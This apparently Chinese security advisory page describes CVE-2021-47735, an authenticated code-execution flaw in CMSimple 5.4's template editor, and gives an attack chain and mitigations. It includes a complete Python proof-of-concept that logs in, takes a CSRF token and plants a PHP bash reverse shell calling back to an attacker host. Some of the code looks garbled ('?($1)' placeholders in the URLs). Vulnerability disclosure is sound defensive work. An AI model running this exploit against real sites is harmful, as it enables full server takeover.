IPBUF安全漏洞报告
English
CVE-2021-47735 CVSS 8.8 高危

CVE-2021-47735: CMSimple 5.4 模板编辑认证后远程代码执行漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2021-47735
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
CMSimple

相关标签

CMSimple远程代码执行模板注入CSRF认证后漏洞PHP内容管理系统CVE-2021-47735

漏洞概述

CVE-2021-47735是CMSimple 5.4版本中的一个高危安全漏洞,CVSS评分达到8.8分。该漏洞属于认证后远程代码执行(RCE)漏洞,允许已登录的攻击者通过模板编辑功能向模板文件中注入恶意PHP代码。CMSimple是一款开源内容管理系统,广泛应用于小型网站和个人博客。由于攻击需要有效的用户会话和CSRF token,攻击难度相对较高,但一旦成功,攻击者可以在服务器上执行任意代码,完全控制目标系统。该漏洞由[email protected]发现并披露,于2025年12月23日公开。

技术细节

该漏洞存在于CMSimple 5.4的模板编辑功能中。攻击流程如下:首先,攻击者需要拥有一个有效的CMSimple用户账户(低权限即可)。然后,攻击者利用模板编辑功能,通过构造包含恶意PHP代码的请求来注入反向shell payload。关键的是,攻击请求需要携带有效的CSRF token才能成功。攻击者通过以下步骤利用:1) 获取有效的CSRF token;2) 构造包含PHP代码的模板编辑请求;3) 发送POST请求到模板编辑端点;4) 恶意代码被保存到模板文件中。由于CMSimple在运行时加载模板文件,攻击者访问特定页面即可触发恶意PHP代码执行,从而在服务器上执行任意系统命令。建议用户升级到最新版本或禁用模板编辑功能。

攻击链分析

STEP 1
步骤1
获取有效的用户账户并登录CMSimple系统(低权限账户即可)
STEP 2
步骤2
从系统页面获取有效的CSRF token用于防CSRF验证
STEP 3
步骤3
构造包含恶意PHP代码(如反向shell payload)的模板编辑请求
STEP 4
步骤4
携带CSRF token发送POST请求到模板编辑端点,将恶意代码写入模板文件
STEP 5
步骤5
访问包含恶意代码的页面,触发PHP代码执行,建立反向shell连接
STEP 6
步骤6
在目标服务器上执行任意系统命令,完全控制受影响的系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2021-47735: CMSimple 5.4 Authenticated RCE via Template Editing # Author: VulnCheck import requests import re import sys def get_csrf_token(session, target_url): """Fetch CSRF token from the target""" response = session.get(f"{target_url}/?($1)/admin.php") match = re.search(r'name="[^"]*csrf[^"]*"\s+value="([^"]+)"', response.text) if match: return match.group(1) return None def exploit_cmsimple(target_url, username, password, attacker_ip, attacker_port): """Exploit CVE-2021-47735""" session = requests.Session() # Step 1: Login to CMSimple login_url = f"{target_url}/?($1)/admin.php" csrf_token = get_csrf_token(session, target_url) if not csrf_token: print("[-] Failed to get CSRF token") return False login_data = { 'user': username, 'password': password, 'login': 'Login', 'csrf': csrf_token } response = session.post(login_url, data=login_data) if 'logout' not in response.text.lower(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Prepare reverse shell payload php_payload = f"<?php system('bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1'); ?>" encoded_payload = php_payload.replace(' ', '%20').replace('&', '%26') # Step 3: Get new CSRF token for template editing csrf_token = get_csrf_token(session, target_url) # Step 4: Inject malicious PHP code via template editing template_url = f"{target_url}/?($1)/admin.php" template_data = { 'action': 'save_template', 'file': 'template.htm', 'content': encoded_payload, 'csrf': csrf_token } response = session.post(template_url, data=template_data) if response.status_code == 200: print("[+] Malicious code injected successfully") print(f"[*] Trigger by accessing: {target_url}/templates/template.htm") return True else: print("[-] Failed to inject code") return False if __name__ == "__main__": if len(sys.argv) < 6: print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <attacker_ip> <attacker_port>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] lhost = sys.argv[4] lport = sys.argv[5] exploit_cmsimple(target, user, pwd, lhost, lport)

影响范围

CMSimple 5.4

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 禁用模板编辑功能或限制仅管理员可访问;2) 实施严格的会话管理和CSRF token验证;3) 对模板目录实施写权限控制,仅允许必要用户修改;4) 启用Web应用防火墙规则检测恶意PHP代码注入;5) 监控日志中的异常模板编辑行为;6) 考虑使用静态页面生成模式替代动态模板加载。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表